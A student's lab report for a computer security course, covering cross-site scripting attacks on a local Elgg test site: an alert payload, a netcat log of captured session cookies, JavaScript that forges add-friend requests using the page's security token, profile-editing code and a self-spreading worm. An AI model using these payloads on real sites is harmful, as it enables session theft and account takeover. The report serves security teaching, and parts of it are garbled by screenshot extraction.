Benjamin Haedt


CSCI 476 – Computer Security

20 March 2023

Lab 5 - XSS


Environment Setup

```
[03/20/23]seed@VM:~$ cd ~
[03/20/23]seed@VM:~$ git clone https://github.com/reesep/csci476-co
de.git code
fatal: destination path 'code' already exists and is not an empty d
[03/20/23]seed@VM:~$ git clone https://github.com/reesep/csci476-co
de.git code
Cloning into 'code'...
remote: Enumerating objects: 1519, done.
remote: Counting objects: 100% (446/446), done.
remote: Compressing objects: 100% (259/259), done.
remote: Total 1519 (delta 195), reused 410 (delta 177), pack-reused
 1073
Receiving objects: 100\% (1519/1519), 2.55 MiB | 3.27 MiB/s, done.
Resolving deltas: 100% (686/686), done.
[03/20/23]seed@VM:~$ cd /home/seed/code/05 xss
[03/20/23]seed@VM:~/.../05 xss$ docker-compose build
Ruildina elaa
 Successfully built df2933ceecee
 Successfully tagged seed-image-mysgl:latest
 [03/20/23]seed@VM:~/.../05_xss$ docker-compose up -d
 Creating mysgl-10.9.0.6 ... done
 Creating elgg-10.9.0.5 ... done
 [03/20/23]seed@VM:~/.../05 xss$ docker ps -a
 CONTAINER ID
                      IMAGE
                                            COMMAND
                                                                       CR
                                          PORTS
 EATED
                    STATUS
 5b50919833c9
                                            "/bin/sh -c 'service..."
                      seed-image-www
                    Up 8 seconds
 seconds ago
                                                                  elgg-10
 .9.0.5
 cac8414b535f
                                            "docker-entrypoint.s..."
                                                                       9
                      seed-image-mysql
 seconds ago
                    Up 8 seconds
                                          3306/tcp, 33060/tcp
                                                                  mysql-1
0.9.0.6
L7 # For XSS Lab
18 10.9.0.5
                  www.xsslabelgg.com
L9 10.9.0.5
                  www.example32a.com
20 10.9.0.5
                  www.example32b.com
21 10.9.0.5
                  www.example32c.com
22 10.9.0.5
                  www.example60.com
23 10.9.0.5
                  www.example70.com
24
```



Task 1


| 1.55 | | |
|--------------------------------|---------------|---------------|
| Edit pro | ofile | |
| Display name | | |
| Alice | | |
| About me | Embed content | Visual editor |
| <script>alert("XSS");</script> | 2bcd content | |
| | | |
| | | |
| | | |
| | | |
| Public | | |
| Brief description | | |



Task 2

Edit profile





I edited Alices profile to display the cookie. I tested it in Alices profile. Then down below I logged into Bobys account and looked at Alices profile.

Boby

Edit avatar
Edit profile



About me <script>alert('XSS');</script>

Add widgets

Blogs Bookmarks


Results for "alice"





| | Alice | |
|---|---------------------------------|--|
| | Elgg=2ln48tgfma99dadqvpunufb19q | |
| | ОК | |
| | | |
| c | | |

Task 3




```
0.9.0.6

[03/20/23]seed@VM:~/.../05_xss$ nc -lknv 5555

Listening on 0.0.0.0 5555
```

I put in the malicious javascript code in bobys profile, then logged out of bobys account, set up netcat, logged into alices account, then searched for boby and clicked on his profile.

Boby




```
[03/20/23]seed@VM:~/.../05 xss$ nc -lknv 5555
Listening on 0.0.0.0 5555
Connection received on 10.0.2.15 54722
GET /?c=Elgg%3D2ln48tgfma99dadgvpunufb19g HTTP/1.1
Host: 10.9.0.1:5555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:83.0) Gecko/
20100101 Firefox/83.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.xsslabelgg.com/profile/boby
^C
[03/21/23]seed@VM:~/.../05 xss$ nc -lknv 5555
Listening on 0.0.0.0 5555
Connection received on 10.0.2.15 54800
GET /?c=Elgg%3Djji3g8hoamnssjovd6i7p0b1h6 HTTP/1.1
Host: 10.9.0.1:5555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:83.0) Gecko/
20100101 Firefox/83.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.xsslabelgg.com/profile/boby
```


The first attack was on Bobys profile, where I used the malicious code, and the second is where I logged into Alices profile and the attack ran when I visited bobys profile.

Task 4

We can find how a "add friend" request is by logging into Alices profile and adding Samy as a friend, then looking at the data which shows...

 $http://www.xsslabelgg.com/action/friends/add?friend=59\&_elgg_ts=1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_ts=1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374377\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANKC8OB+1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374376\&_elgg_token=ivANGP-1679374360+167960+1679$




I looked in Samys profile for his GUID, his GUID is 59. We also found his Token and TS. "security":{"token":{"__elgg_ts":1679373500,"__elgg_token":"4eErFSP1HioBSnkNc68Ujw"}

We can also see how a "add friend" request is constructed by right clicking "add friend" and it will show the link as this...

http://www.xsslabelgg.com/action/friends/add?friend=59& elgg ts=1679375683& elgg token=2 GezlJzUg D15Xw3iSY iw& elgg ts=1679375683& elgg token=2 GezlJzUgD15Xw3iSY iw

We have the URL, then add?friend is where we specify what profile to add, Samys is 59, then we need the time stamp, then token, then timestamp again, and then token again.



Well, after playing around some I finally figured it out. The code to put in Samys profile is down below.


```
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
```

```
// Set the timestamp and secret token parameters
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;

// Construct the HTTP request to add Samy as a friend.
var sendurl= "http://www.xsslabelgg.com/action/friends/add?-friend=59" +ts+token+ts+token;

// Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
```

I put this code into Samys profile in his "About me". Saved it.




Then I logged into Alices profile, looked up Samy, clicked on his profile, and it automatically added Samy as a friend.

Well, the machine froze and I had to reboot. Gave it more RAM since it seems to max out its ram while I was running this.


Display name Samy About me Embed content Visual editor <script type="text/javascript"> window.onload = function () { var Ajax=null; // Set the timestamp and secret token parameters var ts="&_elgg_ts="+elgg.security.token._elgg_ts; var token="&_elgg_token="+elgg.security.token._elgg_ts" // Construct the HTTP request to add Samy as a friend. var sendurl= "http://www.xsslabelgg.com/action/friends/add?-friend=59" +ts+token+ts+token;

I logged back into Samys account, made sure the code was all right. Then logged into Alices account and went to Samys profile and it didn't add Samy as a friend right away, but when I refreshed it automatically added Samy as a friend to Alice. The attack was successful.


Public




Just to be sure, I removed Samy as a friend.




Then I reloaded Samys profile, and it automatically added Samy as a friend.



Logged into Charlies profile and visited Samys profile. It automatically added Samy as a friend.



We can verify that the code we used in Samys "about me" automatically adds friends because when we go to Samys profile while logged into Samy it automatically tries to add Samy as a friend.



Task 4.1

My strategy to automatically add Samy as a friend was to get the information to add Samy as a friend. This looked like

"http://www.xsslabelgg.com/action/friends/add?friend=59& elgg ts=1679375683& elgg token=2 GezlJzUgD15Xw3iSY iw& elgg ts=1679375683& elgg token=2 GezlJzUgD15Xw3iSY iw

We edited the add_friend.js provided to use Samys ID on the website, which was 59, and then automatically got the TS and token information using

```
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="& elgg token="+elgg.security.token. elgg token;
```

The information and screenshots to back this up is located under Task 4.

Task 4.2


If the Elgg application only provided the visual editor mode for the "About Me" field (i.e., you cannot switch to "Edit HTML" mode), can you still launch a successful attack?

No, if we couldn't edit the HTML, then we couldn't inject code that would be ran in the browser because it would just be saved as simple text. When we use "Edit HTML", we are able to inject and run code because it is saving the data we enter and then running it when we visit Samys profile. Essentially, without "Edit HTML" the code wouldn't be ran and a POST request wouldn't have been ran.

Task 5

I found how to edit a profile by clicking "Edit Profile" on Alices profile, and then hitting Save. This updates Alices profile with what I enter.

Alice



```
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
```

Edit profile Display name Samy About me Embed content Visual editor window.onload = runction(){ // JavaScript code to access user name, user guid, Time Stamp __elgg_ts and Security Token __elgg_token var name="&name="+elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var desc="&description=Samy is my hero" + "&accesslevel[description]=2"; // Construct your url. var sendurl = "http://www.xsslabelgg.com/action/edit" 🕝 🖒 Inspector 🖸 Console 🗅 Debugger 📬 Network {} Style Editor 🕜 Performance 📵 Memory 🖯 Storage ≫ No Throttling

I edited Samys "about me" with the code above, saved it. Then logged into Alices profile and visited Samys page. It worked as it should an automatically updated Alices About me with the text "Samy is my hero". We can also see the GET request in the screenshot below that shows an update to Alices profile.




Samy




☑ Send a message



About me







Task 5.2

We need the code at line (1) because that tells it if it isnt Samy, we send a POST request that tells the website to update Alices (or who ever visits Samys profile who isn't Samy) profile. But if we remove line (1), the code will run on Samys profile but nobody elses. Since Samys profile gets updated automatically, it writes over the attack and the attack wont work on anybody elses profile.


I updated Samys about me to take out line (1). Samys profile updated, but Alices did not, since Samys "About me" doesn't contain any more malicious code since it was written over.






Task 6

I copied the code provided and then updated Samy profile with the code. Saved it, then logged into Alices account and visited Samys profile.






The worm did its thing, and propagated into Alices profile.

I then logged into Bobys account and visited Alices profile, the worm propagated and now Bobys account has the worm.

| 304 | GET | www.xsslabelgg.com | Jquery-ui.js | script | JS | cached | 0 12 |
|-------|------|----------------------|--|----------------------|------|---------|---------|
| 304 | GET | www.xsslabelgg.com | require_config.js | script | js | cached | 78 25 |
| 304 | GET | www.xsslabelgg.com | require.js | script | js | cached | 0 12 |
| 304 | GET | www.xsslabelgg.com | elgg.js | script | js | cached | 0 10 |
| 302 | POST | www.xsslabelgg.com | edit | alice:83 (xhr) | html | 4.39 KB | 17 98 |
| 302 | GET | www.xsslabelgg.com | add?friend=59&elgg_token=3hUjndkYHog_IFEyIVUT) 🦛 | alice:92 (xhr) | html | 4.34 KB | 17 87 |
| 304 | GET | www.xsslabelgg.com | sprintf.js | require.js:127 (scri | js | cached | 0 19 |
| 304 | GET | 📈 www.xsslabelgg.com | en.js | require.js:127 (scri | js | cached | 0 11 |
| 304 | GET | www.xsslabelgg.com | weakmap-polyfill.js | require.js:127 (scri | js | cached | 0 10 |
| 304 | GET | 📈 www.xsslabelgg.com | formdata-polyfill.js | require.js:127 (scri | js | cached | 0 16 |
| [200] | GET | www.xsslabelgg.com | favicon-128.png | FaviconLoader.jsm | png | cached | 4 0 |
| [200] | GET | www.xsslabelgg.com | favicon.svg | FaviconLoader.jsm | svg | cached | 6. 0 |
| 304 | GET | www.xsslabelgg.com | widgets.js | require.js:127 (scri | js | cached | 0 1 |
| 304 | GET | 📈 www.xsslabelgg.com | init.js | require.js:127 (scri | js | cached | 37 1 |
| 304 | GET | 📈 www.xsslabelgg.com | ready.js | require.js:127 (scri | js | cached | 12 13 |
| 304 | GET | 📈 www.xsslabelgg.com | lightbox.js | require.js:127 (scri | js | cached | 0 8 |
| 200 | GET | www.xsslabelgg.com | item_toggle.js | require.js:127 (scri | js | cached | 86 0 |
| 304 | GET | 📈 www.xsslabelgg.com | topbar.js | require.js:127 (scri | js | cached | 17 0 |
| 304 | GET | www.xsslabelgg.com | form.js | require.js:127 (scri | js | cached | 0. 2 |
| 304 | GET | www.xsslabelgg.com | reportedcontent.js | require.js:127 (scri | js | cached | 0 2 |
| 200 | GET | www.xsslabelgg.com | alice | alice:92 (xhr) | html | 4.39 KB | 17 3 |
| 200 | GET | www.xsslabelgg.com | boby | alice:83 (xhr) | html | 4.44 KB | 17 3 |
| 304 | GET | 🔏 www.xsslabelgg.com | jquery.colorbox.js | require.js:127 (scri | js | cached | 01 0 |
| 304 | GET | 📈 www.xsslabelgg.com | Plugin.js | require.js:127 (scri | js | cached | 14 0 |
| 304 | GET | 🔏 www.xsslabelgg.com | spinner.js | require.js:127 (scri | js | cached | 75 0 |
| 304 | GET | www.xsslabelgg.com | Ajax.js | require.js:127 (scri | is | cached | 010 |

Boby



Well, I think that should be it. I did everything right, just took a lot of screenshots, if you have questions about my work please message me. Thanks.